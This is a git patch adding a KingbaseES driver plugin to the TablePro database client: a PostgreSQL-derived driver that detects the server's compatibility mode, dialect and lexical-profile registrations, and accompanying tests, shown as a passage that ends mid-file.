From 47eb7e160c3b3a10cf0d5200c5221a71aaad8d25 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?= <26674308+J2TeamNNL@users.noreply.github.com> Date: Tue, 27 Oct 2026 09:32:56 +0700 Subject: [PATCH 1/6] feat(kingbasees): add a registry driver --- .github/plugin-registry.json | 3 + .../TableProQuery/FilterColumnKind.swift | 5 +- .../SQLLexicalProfile.swift | 7 + .../TableProTabular/TabularSorter.swift | 8 +- .../KingbaseESDialectTests.swift | 13 + .../FilterSQLGeneratorTests.swift | 9 + .../SQLLexicalReadingsTests.swift | 15 +- .../TabularSaveTests.swift | 3 +- .../ClickHouseServerException.swift | 2 +- .../SQLExportSessionDeclarationTests.swift | 7 + .../Plugins/KingbaseESDriverPlugin/Info.plist | 12 + .../KingbaseESPlugin.swift | 68 ++++++ .../KingbaseESPluginDriver.swift | 37 +++ .../PostgreSQLPluginDriver.swift | 2 + .../PostgreSQLSchemaQueries.swift | 3 +- ...reSQLColumnDDLSequenceCollationTests.swift | 2 +- .../RedisDriverPlugin/RedisReply.swift | 2 +- .../SQLExportSessionDeclaration.swift | 2 +- .../SQLiteDriverPlugin/SQLitePlugin.swift | 2 +- .../TableProPluginKit/SqlDialect.swift | 2 +- .../Core/Compare/CompareSQLLiteral.swift | 3 +- .../SourceFileDiskChangeMonitor.swift | 7 +- .../Core/Plugins/ImportTypeMapper.swift | 5 +- ...nMetadataRegistry+KingbaseESDefaults.swift | 33 +++ ...ginMetadataRegistry+RegistryDefaults.swift | 2 +- .../Providers/OracleDashboardProvider.swift | 5 +- .../CellValues/CellExpressionVocabulary.swift | 3 +- .../SQL/SQLRowToStatementConverter.swift | 5 +- .../Models/Connection/DatabaseType.swift | 1 + .../TablePro/Resources/Localizable.xcstrings | 4 + .../AIChatViewModel+Persistence.swift | 2 +- .../Results/TreeOutline/TreeOutlineView.swift | 6 +- .../Core/Compare/CompareSQLLiteralTests.swift | 2 +- .../Core/Plugins/ImportTypeMapperTests.swift | 6 + ...luginMetadataRegistryKingbaseESTests.swift | 23 ++ ...PluginMetadataRegistryTypeCountTests.swift | 2 +- .../CellExpressionVocabularyTests.swift | 6 + .../SQLRowToStatementConverterTests.swift | 14 ++ apple/project.yml | 12 + .../probes/check-column-type-corpus.sh | 4 +- apple/scripts/probes/check-kingbasees.sh | 57 +++++ apple/scripts/probes/kingbasees-probe.swift | 225 ++++++++++++++++++ 42 files changed, 600 insertions(+), 31 deletions(-) create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift create mode 100644 apple/Plugins/KingbaseESDriverPlugin/Info.plist create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift create mode 100644 apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift create mode 100644 apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift create mode 100755 apple/scripts/probes/check-kingbasees.sh create mode 100644 apple/scripts/probes/kingbasees-probe.swift diff --git a/.github/plugin-registry.json b/.github/plugin-registry.json index a9eb89b33c..f6bf29a547 100644 --- a/.github/plugin-registry.json +++ b/.github/plugin-registry.json @@ -43,6 +43,9 @@ "KafkaDriverPlugin": { "name": "Kafka Driver" }, + "KingbaseESDriverPlugin": { + "name": "KingbaseES Driver" + }, "LibSQLDriverPlugin": { "name": "libSQL / Turso Driver" }, diff --git a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift index 03b827341b..a41aea1dac 100644 --- a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift +++ b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift @@ -72,9 +72,10 @@ nonisolated public enum FilterColumnKind { // number: `bit = 101` and `boolean = 1` have no operator, and a `real` never equals the numeric 0.1. // DuckDB runs `bit = 101` and finds no row; `bit = '101'` finds it. private static func engineKind(_ kind: PluginColumnKind, typeName: String, databaseType: DatabaseType?) -> PluginColumnKind { - switch databaseType { - case .postgresql?, .redshift?: + if let databaseType, SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return kind == .integer && !nonNumericIntegerNames.contains(typeName) ? .integer : .text + } + switch databaseType { case .duckdb?: return typeName == "bit" ? .text : kind default: diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift index 49f7582a25..4bd817771e 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift @@ -218,6 +218,13 @@ public struct SQLLexicalProfile: Sendable, Hashable { "AlloyDB": postgreSQLFamily, "Citus": postgreSQLFamily, "PGlite": postgreSQLFamily, + "KingbaseES": SQLLexicalProfile( + grammar: postgreSQL, + undetermined: [ + .backslashEscapesInSingleQuotes, .alternativeQuoting, .plsqlBlocks, + .slashLineTerminators, .dollarAndHashInIdentifiers, + ] + ), "Redshift": SQLLexicalProfile( grammar: postgreSQL, undetermined: [.backslashEscapesInSingleQuotes, .nestedBlockComments, .escapeStringPrefix] diff --git a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift index 5ae5a3308f..1cb592fbba 100644 --- a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift +++ b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift @@ -147,7 +147,7 @@ public enum TabularSorter { private static func sortPositions(count: Int, buffers: SortKeyBuffers) async throws -> [Int] { let chunks = TabularChunking.ranges(count: count) - var runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in + var runs: [[Int]] = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in for (index, chunk) in chunks.enumerated() { group.addTask { try Task.checkCancellation() @@ -165,8 +165,10 @@ public enum TabularSorter { } while runs.count > 1 { try Task.checkCancellation() - let pairs = stride(from: 0, to: runs.count, by: 2).map { index in - (runs[index], index + 1 < runs.count ? runs[index + 1] : []) + let pairs: [([Int], [Int])] = stride(from: 0, to: runs.count, by: 2).map { index in + let left: [Int] = runs[index] + let right: [Int] = index + 1 < runs.count ? runs[index + 1] : [] + return (left, right) } runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in for (index, pair) in pairs.enumerated() { diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift new file mode 100644 index 0000000000..cc491ae296 --- /dev/null +++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift @@ -0,0 +1,13 @@ +import TableProPluginKit +import Testing + +struct KingbaseESDialectTests { + @Test("KingbaseES keeps PostgreSQL dollar quotes and escape strings") + func postgresLexing() { + let dialect = SqlDialect.from(databaseTypeId: "KingbaseES") + #expect(dialect == .postgres) + #expect(dialect.supportsDollarQuotes) + #expect(dialect.supportsEscapeStringPrefix) + #expect(!dialect.requiresBackslashEscapesInSingleQuotes) + } +} diff --git a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift index 0e64785a6e..73838a4037 100644 --- a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift @@ -455,4 +455,13 @@ struct FilterSQLGeneratorTests { #expect(FilterColumnKind.keyLiteral("05", column: nil, databaseType: .sqlite) == .text("05")) #expect(FilterColumnKind.keyLiteral("2.5", column: nil, databaseType: .sqlite) == .numberOrText("2.5")) } + @Test("KingbaseES filters keep the server's boolean, bit and floating-point type resolution") + func kingbaseTypedFilters() { + let engine = DatabaseType(rawValue: "KingbaseES") + for name in ["boolean", "bit", "real", "double precision", "numeric(10,2)"] { + let column = ColumnInfo(name: "v", typeName: name) + #expect(engineClause(engine, column, "1") == "WHERE \"v\" = '1'") + } + #expect(engineClause(engine, ColumnInfo(name: "id", typeName: "bigint"), "5") == "WHERE \"id\" = 5") + } } diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift index 59794c57ca..d36b26706f 100644 --- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift @@ -7,7 +7,7 @@ struct SQLLexicalReadingsTests { @Test("Every SQL engine TablePro ships has a curated grammar") func curatedTableCoversShippedEngines() { let shipped = [ - "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite", + "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite", "KingbaseES", "SQLite", "libSQL", "Turso", "Cloudflare D1", "DuckDB", "Oracle", "Dameng", "SQL Server", "ClickHouse", "Snowflake", "BigQuery", "Spanner", "Trino", "Presto", "Teradata", "SAP HANA", "Cassandra", "ScyllaDB", "DynamoDB", "SurrealDB", "Redis", "MongoDB", "etcd", "Elasticsearch", "Typesense", "Weaviate", "Kafka", @@ -122,4 +122,17 @@ struct SQLLexicalReadingsTests { ]) #expect(profile.readings.first == .ansi) } + @Test("KingbaseES retains both compatibility-mode readings before a session is known") + func kingbaseCompatibilityReadings() throws { + let profile = try #require(SQLLexicalProfile.curated(forDatabaseTypeId: "KingbaseES")) + #expect(profile.grammar.contains(.taggedDollarQuotes)) + #expect(profile.readings.contains { $0.contains(.alternativeQuoting) && $0.contains(.plsqlBlocks) }) + let oracle = SQLSessionLexicalFacts( + determined: [.alternativeQuoting, .plsqlBlocks], enabled: [.alternativeQuoting, .plsqlBlocks] + ) + let readings = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle) + #expect(readings.execution.contains(.alternativeQuoting)) + #expect(readings.execution.contains(.plsqlBlocks)) + #expect(readings.all.contains { !$0.contains(.alternativeQuoting) }) + } } diff --git a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift index 157849c304..b6a9edaa9a 100644 --- a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift @@ -173,7 +173,8 @@ final class TabularSaveTests { #expect(try save(table, source: source) == export.rows[0] + export.rows[1] + export.rows[3] + export.rows[4]) var reordered = original reordered.replaceRowOrder(.explicit([4, 2, 3, 1])) - #expect(try save(reordered, source: source) == export.rows[0] + export.rows[4] + export.rows[2] + export.rows[3] + export.rows[1]) + let expected: [UInt8] = [0, 4, 2, 3, 1].flatMap { export.rows[$0] } + #expect(try save(reordered, source: source) == expected) } @Test func testAnEditNearTheEndOfALargeShiftJISFileLeavesEveryOtherByte() async throws { diff --git a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift index 713f8f5d87..93bb003f56 100644 --- a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift +++ b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift @@ -79,7 +79,7 @@ nonisolated enum ClickHouseServerException { static func message(inFailureBody body: String) -> String { let bytes = Array(body.utf8) let text = framedMessage(in: bytes, tag: nil, header: nil) - ?? rawExceptionStart(in: bytes).map { text(of: bytes[$0...]) } + ?? rawExceptionStart(in: bytes).map { Self.text(of: bytes[$0...]) } ?? body return text.trimmingCharacters(in: .whitespacesAndNewlines) } diff --git a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift index 2bb3b6da92..7f469d581c 100644 --- a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift +++ b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift @@ -268,4 +268,11 @@ struct SQLExportSessionDeclarationTests { #expect(parts.count == 1) #expect(!writer.didSplit) } + @Test("KingbaseES dumps declare PostgreSQL string and encoding semantics") + func kingbaseSessionDeclaration() { + #expect(SQLExportSessionDeclaration.forDatabaseType("KingbaseES") + == SQLExportSessionDeclaration.forDatabaseType("PostgreSQL")) + #expect(!SQLExportSessionDeclaration.forDatabaseType("KingbaseES").prologue.isEmpty) + } + } diff --git a/apple/Plugins/KingbaseESDriverPlugin/Info.plist b/apple/Plugins/KingbaseESDriverPlugin/Info.plist new file mode 100644 index 0000000000..2a09d82f10 --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/Info.plist @@ -0,0 +1,12 @@ + + + + + TableProPluginKitVersion + TABLEPRO_PLUGINKIT_VERSION + TableProProvidesDatabaseTypeIds + + KingbaseES + + + diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift new file mode 100644 index 0000000000..44edd1344e --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift @@ -0,0 +1,68 @@ +import Foundation +import TableProPluginKit + +final class KingbaseESPlugin: NSObject, TableProPlugin, DriverPlugin { + static let pluginName = "KingbaseES Driver" + static let pluginVersion = "1.0.0" + static let pluginDescription = "KingbaseES database support via libpq" + static let capabilities: [PluginCapability] = [.databaseDriver] + + static let databaseTypeId = "KingbaseES" + static let databaseDisplayName = "KingbaseES" + static let iconName = "postgresql-icon" + static let defaultPort = 54_321 + static let isDownloadable = true + static let urlSchemes = ["kingbase", "kingbase8"] + static let brandColorHex = "#C9141E" + static let systemDatabaseNames = PostgreSQLPlugin.systemDatabaseNames + static let systemSchemaNames = ["pg_catalog", "sys_catalog", "information_schema", "pg_toast"] + + static let additionalConnectionFields: [ConnectionField] = [ + ConnectionField( + id: "usePgpass", + label: String(localized: "Use ~/.pgpass"), + defaultValue: "false", + fieldType: .toggle, + section: .authentication, + hidesPassword: true + ), + ConnectionField( + id: "connectionOptions", + label: String(localized: "Connection Options"), + fieldType: .text, + section: .advanced + ) + ] + + static let supportsSchemaSwitching = PostgreSQLPlugin.supportsSchemaSwitching + static let postConnectActions = PostgreSQLPlugin.postConnectActions + static let explainVariants = PostgreSQLPlugin.explainVariants + static let databaseGroupingStrategy = PostgreSQLPlugin.databaseGroupingStrategy + static let columnTypesByCategory = PostgreSQLPlugin.columnTypesByCategory + static let supportsCascadeDrop = PostgreSQLPlugin.supportsCascadeDrop + static let supportsForeignKeyDisable = PostgreSQLPlugin.supportsForeignKeyDisable + static let requiresReconnectForDatabaseSwitch = PostgreSQLPlugin.requiresReconnectForDatabaseSwitch + static let parameterStyle = PostgreSQLPlugin.parameterStyle + static let supportsDropDatabase = PostgreSQLPlugin.supportsDropDatabase + static let supportsRenameTable = PostgreSQLPlugin.supportsRenameTable + static let supportsRenameDatabase = PostgreSQLPlugin.supportsRenameDatabase + static let supportsRenameSchema = PostgreSQLPlugin.supportsRenameSchema + static let supportsDropSchema = PostgreSQLPlugin.supportsDropSchema + static let supportsCreateSchema = PostgreSQLPlugin.supportsCreateSchema + static let supportsSchemaOwner = PostgreSQLPlugin.supportsSchemaOwner + static let supportsSchemaPrivileges = PostgreSQLPlugin.supportsSchemaPrivileges + static let supportsTriggers = PostgreSQLPlugin.supportsTriggers + static let supportsRoutines = PostgreSQLPlugin.supportsRoutines + static let supportsDatabaseTriggerBrowse = PostgreSQLPlugin.supportsDatabaseTriggerBrowse + static let supportsUserDefinedTypeBrowse = PostgreSQLPlugin.supportsUserDefinedTypeBrowse + static let supportsTriggerEditing = PostgreSQLPlugin.supportsTriggerEditing + static let structureColumnFields = PostgreSQLPlugin.structureColumnFields + static let supportsCheckConstraints = PostgreSQLPlugin.supportsCheckConstraints + static let supportsCheckConstraintEditing = PostgreSQLPlugin.supportsCheckConstraintEditing + static let supportsGeneratedColumns = PostgreSQLPlugin.supportsGeneratedColumns + static let sqlDialect = PostgreSQLPlugin.sqlDialect + + func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver { + KingbaseESPluginDriver(config: config) + } +} diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift new file mode 100644 index 0000000000..47d0128508 --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift @@ -0,0 +1,37 @@ +import Foundation +import os +import TableProPluginKit + +final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable { + private let oracleMode = OSAllocatedUnfairLock(initialState: false) + private static let modeFeatures: SQLLexicalFeatures = [ + .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers + ] + + override var sessionLexicalState: PluginSessionLexicalState? { + let inherited = super.sessionLexicalState + let enabled = oracleMode.withLock { $0 } ? Self.modeFeatures : [] + return PluginSessionLexicalState( + determined: (inherited?.determined ?? []).union(Self.modeFeatures), + enabled: (inherited?.enabled ?? []).union(enabled) + ) + } + + override func connect() async throws { + try await super.connect() + do { + let result = try await execute(query: "SELECT current_setting('database_mode')") + let mode = result.rows.first?.first?.asText?.lowercased() + guard mode == "pg" || mode == "oracle" else { + throw LibPQPluginError( + message: String(localized: "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode."), + sqlState: nil, detail: nil + ) + } + oracleMode.withLock { $0 = mode == "oracle" } + } catch { + await disconnect() + throw error + } + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift index f92bf287f3..432302ee96 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift @@ -21,6 +21,8 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable { let sessionFacts = OSAllocatedUnfairLock(initialState: PostgreSQLSessionFacts.unknown) private let listingDegradeReported = OSAllocatedUnfairLock(initialState: false) + var sessionLexicalState: PluginSessionLexicalState? { core.sessionLexicalState } + var serverVersionNumber: Int32 { let reported = core.serverVersionNumber return sessionFacts.withLock { $0.resolvedServerVersion(reported: reported) } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift index 8509c276a1..027a5b69e7 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift @@ -338,7 +338,8 @@ enum PostgreSQLSchemaQueries { /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or /// an empty string. - static let columnCollateClause = "COALESCE(' COLLATE ' || \(columnCollation), '')" + // Oracle-compatible servers concatenate NULL as empty, so COALESCE after concatenation keeps a bare COLLATE. + static let columnCollateClause = "CASE WHEN (\(columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(columnCollation) END" /// One array over the sequences this column's default reads in the table's own schema, ordered by /// oid so the qualified and relative arrays pair element for element. diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift index 7b21c6c397..23e32c8bbc 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift @@ -55,7 +55,7 @@ struct PostgreSQLColumnDDLQuerySequenceCollationTests { func collateClauseWrapsTheSameCollation() { #expect( PostgreSQLSchemaQueries.columnCollateClause - == "COALESCE(' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation), '')" + == "CASE WHEN (\(PostgreSQLSchemaQueries.columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation) END" ) } } diff --git a/apple/Plugins/RedisDriverPlugin/RedisReply.swift b/apple/Plugins/RedisDriverPlugin/RedisReply.swift index a4284b2381..435a8b881d 100644 --- a/apple/Plugins/RedisDriverPlugin/RedisReply.swift +++ b/apple/Plugins/RedisDriverPlugin/RedisReply.swift @@ -12,7 +12,7 @@ import TableProPluginKit // MARK: - Reply Type -enum RedisReply { +enum RedisReply: Sendable { case string(String) case integer(Int64) case array([RedisReply]) diff --git a/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift b/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift index 32c977f5e8..17229d5ea6 100644 --- a/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift +++ b/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift @@ -13,7 +13,7 @@ internal struct SQLExportSessionDeclaration: Equatable { let epilogue: String private static let typesAcceptingSetClientEncoding: Set = [ - "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite" + "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES" ] /// `readTimeZone` is the zone the rows were read in, from the export's read scope. Only a MySQL dump declares diff --git a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift index 3fb5146cd4..547b73e453 100644 --- a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift +++ b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift @@ -187,12 +187,12 @@ final class SQLitePluginDriver: PluginDatabaseDriver, @unchecked Sendable { if !attachments.isEmpty, backend is SQLiteAgentBackend { throw AttachedDatabaseError.remoteSession } + let backend = self.backend try await withTaskCancellationHandler { try await backend.open(loading: extensions) } onCancel: { backend.abortConnect() } - let backend = self.backend let failures = await AttachedDatabaseAttacher.attach(attachments) { database in _ = try await backend.executeParameterizedQuery( "ATTACH DATABASE ? AS ?", diff --git a/apple/Plugins/TableProPluginKit/SqlDialect.swift b/apple/Plugins/TableProPluginKit/SqlDialect.swift index 7571dc90b3..bf55ad82ca 100644 --- a/apple/Plugins/TableProPluginKit/SqlDialect.swift +++ b/apple/Plugins/TableProPluginKit/SqlDialect.swift @@ -9,7 +9,7 @@ public enum SqlDialect: String, Sendable, CaseIterable { public static func from(databaseTypeId: String) -> SqlDialect { switch databaseTypeId { - case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite": + case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES": return .postgres case "MySQL", "MariaDB", "TiDB", "OceanBase": return .mysql diff --git a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift index e34f80616d..d8343113fb 100644 --- a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift +++ b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift @@ -98,14 +98,13 @@ internal enum CompareSQLLiteral { /// Curated per type, the same shape `CompareSyncEngineFamily` uses. A type this does not /// name falls back to the driver's own spelling rather than guessing at one. internal static func binaryStyle(for databaseType: DatabaseType) -> BinaryStyle { + if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return .postgresBytea } switch databaseType { case .mysql, .mariadb, .tidb, .databend, .oceanbase, .sqlite, .clickhouse, .libsql, .turso, .cloudflareD1: return .bitString case .duckdb: return .unhexFunction - case .postgresql, .cockroachdb, .redshift, .pglite: - return .postgresBytea case .mssql: return .zeroX case .oracle: diff --git a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift index 27ddb116cd..58ade425c8 100644 --- a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift +++ b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift @@ -21,7 +21,12 @@ internal final class SourceFileDiskChangeMonitor { private var inFlight: Task? private var needsAnotherPass = false - init(tabManager: QueryTabManager, readStamps: @escaping StampReader = SourceFileDiskChangeMonitor.readStampsOffMainActor) { + init( + tabManager: QueryTabManager, + readStamps: @escaping StampReader = { urls in + await SourceFileDiskChangeMonitor.readStampsOffMainActor(urls) + } + ) { self.tabManager = tabManager self.readStamps = readStamps } diff --git a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift index 02d3916b03..57a086a79f 100644 --- a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift +++ b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift @@ -12,14 +12,15 @@ enum ImportTypeMapper { databaseType: DatabaseType, serverVersion: String? = nil ) -> String { - switch databaseType { - case .postgresql, .redshift, .cockroachdb: + if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return postgresType( type, jsonColumnType: PostgreSQLServerVersion.jsonColumnType( for: databaseType, serverVersion: serverVersion ) ) + } + switch databaseType { case .mysql, .mariadb, .tidb, .oceanbase: return mysqlType(type) case .sqlite: diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift new file mode 100644 index 0000000000..45728a0d4f --- /dev/null +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift @@ -0,0 +1,33 @@ +import Foundation +import TableProPluginKit + +extension PluginMetadataRegistry { + func kingbaseESPluginDefaults() -> [(typeId: String, snapshot: PluginMetadataSnapshot)] { + guard let postgres = Self.curatedDefaults().first(where: { $0.typeId == "PostgreSQL" })?.snapshot else { + return [] + } + return [("KingbaseES", PluginMetadataSnapshot( + displayName: "KingbaseES", iconName: "postgresql-icon", defaultPort: 54_321, + requiresAuthentication: true, supportsForeignKeys: postgres.supportsForeignKeys, + supportsSchemaEditing: postgres.supportsSchemaEditing, isDownloadable: true, + primaryUrlScheme: "kingbase", parameterStyle: .dollar, + navigationModel: postgres.navigationModel, explainVariants: postgres.explainVariants, + pathFieldRole: .database, supportsHealthMonitor: postgres.supportsHealthMonitor, + urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgres.postConnectActions, + brandColorHex: "#C9141E", queryLanguageName: "SQL", editorLanguage: .sql, + connectionMode: .network, supportsDatabaseSwitching: postgres.supportsDatabaseSwitching, + structureEditing: postgres.structureEditing, + capabilities: postgres.capabilities, schema: postgres.schema, editor: postgres.editor, + connection: PluginMetadataSnapshot.ConnectionConfig( + additionalConnectionFields: postgres.connection.additionalConnectionFields.filter { + ["usePgpass", "connectionOptions"].contains($0.id) + }, + category: .relational, + tagline: postgres.connection.tagline + ) + ).withSystemNames( + databases: postgres.schema.systemDatabaseNames, + schemas: postgres.schema.systemSchemaNames + ["sys_catalog"] + ))] + } +} diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift index 5c5b5b6f5b..32da9928ee 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift @@ -1035,7 +1035,7 @@ extension PluginMetadataRegistry { + cloudPluginDefaults() + elasticsearchPluginDefaults() + surrealDBPluginDefaults() + kafkaPluginDefaults() + typesensePluginDefaults() + r2SQLPluginDefaults() + weaviatePluginDefaults() + hanaPluginDefaults() + firebasePluginDefaults() + bigtablePluginDefaults() - + trinoPluginDefaults() + + trinoPluginDefaults() + kingbaseESPluginDefaults() } // swiftlint:enable function_body_length } diff --git a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift index ae9c3c5f95..c9f4e8b8dd 100644 --- a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift +++ b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift @@ -90,7 +90,10 @@ struct OracleDashboardProvider: ServerDashboardQueryProvider { var metrics: [DashboardMetric] = [] var firstFailure: Error? - func attempt(_ id: String, _ body: () async throws -> Void) async throws { + nonisolated(nonsending) func attempt( + _ id: String, + _ body: nonisolated(nonsending) () async throws -> Void + ) async throws { do { try await body() } catch is CancellationError { diff --git a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift index 998e44d9f0..fc83b10af9 100644 --- a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift +++ b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift @@ -4,6 +4,7 @@ // import Foundation +import TableProPluginKit enum CellExpressionKind: Hashable, Sendable { case timestamp @@ -77,7 +78,7 @@ enum CellExpressionVocabulary { case .bigQuery: bigQuery case .snowflake: 